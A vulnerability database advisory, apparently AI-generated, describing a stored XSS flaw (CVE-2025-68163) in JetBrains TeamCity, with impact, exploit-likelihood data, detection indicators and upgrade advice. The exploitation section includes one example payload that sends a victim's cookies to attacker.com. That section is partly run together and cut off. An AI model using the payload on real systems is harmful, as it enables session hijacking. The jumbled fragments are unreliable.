
Cloud Vulnerability DB
A community-led vulnerabilities database
CVE-2025-68163 is a stored Cross-Site Scripting (XSS) vulnerability in JetBrains TeamCity affecting all versions before 2025.11. The flaw exists on the agentpushInstall page, where an attacker with high administrative privileges can inject malicious scripts that are persistently stored and later executed in a victim's browser. It was published on December 16, 2025, with a patch released in TeamCity 2025.11. The vulnerability carries a CVSS v3.1 base score of 4.8 (Medium) (JetBrains Advisory, Red Hat CVE).
The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. Insufficient input sanitization and output encoding on the agentpushInstall page allows a high-privileged attacker to submit crafted input containing malicious JavaScript, which is then stored server-side and rendered unsanitized to other users who visit the page. Exploitation requires network access, high privileges, and user interaction (a victim must load the affected page), limiting the practical attack surface (JetBrains Advisory, Red Hat CVE).
Successful exploitation could allow an attacker to steal session tokens or cookies from victims who visit the compromised page, perform actions on behalf of those victims within the TeamCity application, and potentially access or manipulate CI/CD pipeline configurations and sensitive build data. The confidentiality and integrity impacts are rated low, with no direct availability impact. Given TeamCity's role as a CI/CD platform, session hijacking could indirectly enable broader access to build artifacts, source code, or deployment credentials (JetBrains Advisory, Red Hat CVE).
There is no public proof-of-concept exploit and no evidence of in-the-wild exploitation at this time. The EPSS score is approximately 0.011% (0.000110), reflecting a very low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The requirement for high privileges significantly reduces the exploitability of this vulnerability (Red Hat CVE).
agentpushInstall page within the TeamCity administration interface.<script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into a field on the page that lacks proper sanitization.agentpushInstall page.<script>, onerror=, javascript:) in TeamCity server logs associated with the agentpushInstall page or related API endpoints.agentpushInstall page, potentially carrying cookie or session data in query parameters.agentpushInstall page that includes script tags or encoded JavaScript when inspected in browser developer tools.agentpushInstall page from unexpected IP addresses or at unusual times.The primary remediation is to upgrade JetBrains TeamCity to version 2025.11 or later, which contains the fix for this vulnerability (JetBrains Advisory). As interim mitigations, organizations should restrict administrative access to the TeamCity instance to trusted personnel only, implement a strict Content Security Policy (CSP) to limit script execution, and enable additional input validation and output encoding where possible. Regularly auditing user privileges and access controls is also recommended to reduce the risk of privilege abuse.
Source: This report was generated using AI
Free Vulnerability Assessment
Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.
Get a personalized demo
"Best User Experience I have ever seen, provides full visibility to cloud workloads."
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
"We know that if Wiz identifies something as critical, it actually is."